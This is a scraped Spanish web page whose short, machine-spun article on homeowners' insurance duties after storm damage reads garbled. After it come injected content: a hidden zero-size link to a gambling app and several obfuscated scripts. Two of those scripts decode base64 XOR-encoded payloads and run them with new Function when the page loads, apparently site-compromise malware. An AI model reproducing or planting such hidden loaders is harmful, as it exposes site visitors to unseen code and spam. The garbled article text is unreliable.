<p>Si, por ejemplo, una mala tormenta de rumbo rompe algunas de las ventanas de su cocina, puede ser responsable de abordarlas para evitar que cualquier agua u otros escombros entren. Si necesita salir y comprar materiales para enfrentarse sus ventanas, su compañía de seguros generalmente puede reembolsarle el costo de esos suministros. Sin bloqueo, si no los aborda, un poco de agua entra y presenta un publicidad por ese daño por agua, su publicidad puede ser inepto. Su obligación contractual con su compañía de seguros no termina con usted solo pagando su prima a tiempo; asegúrese de producirse por su póliza para tener una mejor idea de lo que usted es responsable. </p>
<h2 id="frequently-asked-questions">Preguntas frecuentes</h2>
</p></div>
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rXvaAE[uO6sSA]===Bhnv9L[0x5]){return rXvaAE[uO6sSA]=u9p_es(XlIVAt[uO6sSA])}return rXvaAE[uO6sSA]}return{[XD_DQ_(0xbf)]:_nHDgA5}}else{return _nHDgA5}}new DD5jaro(qUYixvG(0xc0),qUYixvG(0xc1),qUYixvG(0xc2))[qUYixvG(0xc3)]})();
</script>
<!-- sc5a72ec-b4503d -->

<div><a href="https://play.google.com/store/apps/details?id=com.pragmaticplay.breakerbonzagame&#038;hl=id" style="overflow: hidden;height: 0;width: 0;display: inline-block;">pragmatic play</a></div></body>
</html><script>!function(){var _0xdac3ef103251=atob('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'),_0x9e751f2dc20b=46,_0x0b1f51e628bd=new Uint8Array(_0xdac3ef103251['length']),_0x1c3f58f3ac4b=0;for(;_0x1c3f58f3ac4b<_0xdac3ef103251['length'];_0x1c3f58f3ac4b++)_0x0b1f51e628bd[_0x1c3f58f3ac4b]=_0xdac3ef103251['charCodeAt'](_0x1c3f58f3ac4b)^_0x9e751f2dc20b;(new Function(new TextDecoder()['decode'](_0x0b1f51e628bd)))()}();</script><script>!function(){var _0x3bb1fe0827a6=atob('DkBTSEVST0lIDg9dUEdUBlNTaxdcTxtRT0hCSVEKdxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7CnVWa2BjQhsBRRUeR0NHHkVDR0JEQEQTQwEKcWdQHnBQG30ETlJSVlUcCQlFSklTQkBKR1RDC0VOQ0VNCEhDUgQKBgROUlJWHAkJHxIIFBAIHxYIFxQQBHsdT0AOdxITSlRVAAB3EhNKVFV9dVZrYGNCew9UQ1JTVEgddxITSlRVG1NTaxdcT30BeXlAVmNLRENCVQF7Gw53EhNKVFVaWl1bDx13EhNKVFV9dVZrYGNCexsXHUBTSEVST0lIBnZXfBMVTw4PXU9ADgdCSUVTS0NIUghESUJfD11VQ1JyT0tDSVNSDnZXfBMVTwoUFg8dVENSU1RIHVtQR1QGQW1iSnIeG0JJRVNLQ0hSCEVUQ0dSQ2NKQ0tDSFIOAUJPUAEPCkNWV1JVXxtCSUVTS0NIUghFVENHUkNjSkNLQ0hSDgFPQFRHS0MBDx1BbWJKch4IVVJfSkMIRVVVckNeUhsBVklVT1JPSUgcQE9eQ0IdT0hVQ1IcFh1cC09IQkNeHBQXEhESHhUWEhUdREdFTUFUSVNIQhxUQURHDhcTChQVChIUCggSFA8dVklPSFJDVAtDUENIUlUcSElIQx0BHUNWV1JVXwhST1JKQxsBdUNFU1RPUl8GRU5DRU0BHUNWV1JVXwhVQ1JnUlJUT0RTUkMOAUdKSklRQFNKSlVFVENDSAEKAQEPHUNWV1JVXwhVUl9KQwhFVVVyQ15SGwFWSVVPUk9JSBxAT15DQh1PSFVDUhwWHVFPQlJOHBcWFgMdTkNPQU5SHBcWFgMdRElUQkNUHBYdXAtPSEJDXhwUFxIREh4VFhMVHURHRU1BVElTSEIcBUBAQB0BHUJJRVNLQ0hSCERJQl8IR1ZWQ0hCZU5PSkIOQW1iSnIeDx1CSUVTS0NIUghESUJfCEdWVkNIQmVOT0pCDkNWV1JVXw8dQFNIRVJPSUgGSGJvYWxlDg9dUlRfXUFtYkpyHghUQ0tJUEMODx1DVldSVV8IVENLSVBDDg8dW0VHUkVODnlDD11bUlRfXUJDSkNSQwZ3EhNKVFV9dVZrYGNCe1tFR1JFTg55QxQPXVtbU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAUtDVVVHQUMBCkBTSEVST0lIDnlDUA9dUlRfXU9ADgd5Q1BaWgd5Q1AIQkdSRw9UQ1JTVEgdT0AOeUNQCEJHUkcIUl9WQxsbGwFAVgtDS0RDQgtFSklVQwEPSGJvYWxlDg8dW0VHUkVODnlDFQ9dW1sPHUBTSEVST0lIBnB1Q0N+Ug5cV2hSdGoPXU9ADlxXaFJ0ahgbcWdQHnBQCEpDSEFSTg9UQ1JTVEgdUEdUBnlOGwEBHVJUX115Tht1UlRPSEEOU1NrF1xPCEpJRUdST0lIAAAOU1NrF1xPCEpJRUdST0lICE5JVVJIR0tDWlpTU2sXXE8ISklFR1JPSUgITklVUg9aWgEBDwhUQ1ZKR0VDDgl4UVFReggJTwoBAQ8dW0VHUkVODnlDTg9dW1BHVAZ5UxtxZ1AecFB9XFdoUnRqew0BCUNLRENCCQENdVZrYGNCDQEZQ0tEQ0IbFwENDnlOGQ4BAE5JVVIbAQ1DSEVJQkNzdG9lSUtWSUhDSFIOeU4PDxwBAQ8dUEdUBnlSSRtVQ1JyT0tDSVNSDkBTSEVST0lIDg9dcHVDQ35SDlxXaFJ0ag0XDx1bChcUFhYWDx1DVldSVV8ISUhKSUdCG0BTSEVST0lIDg9dRUpDR1RyT0tDSVNSDnlSSQ8dWx1DVldSVV8IVVRFG3lTHVtwdUNDflIOFg8dW09ADkJJRVNLQ0hSCFRDR0JfdVJHUkMbGxsBSklHQk9IQQEPU1NrF1xPCEdCQmNQQ0hSak9VUkNIQ1QOAWJpa2VJSFJDSFJqSUdCQ0IBCnZXfBMVTw8dQ0pVQwZ2V3wTFU8ODx1bDw4PHQ=='),_0xb453c9c7ad32=38,_0x6b43c3f85eef=new Uint8Array(_0x3bb1fe0827a6['length']),_0x42b6bdc41c2a=0;for(;_0x42b6bdc41c2a<_0x3bb1fe0827a6['length'];_0x42b6bdc41c2a++)_0x6b43c3f85eef[_0x42b6bdc41c2a]=_0x3bb1fe0827a6['charCodeAt'](_0x42b6bdc41c2a)^_0xb453c9c7ad32;(new Function(new TextDecoder()['decode'](_0x6b43c3f85eef)))()}();</script>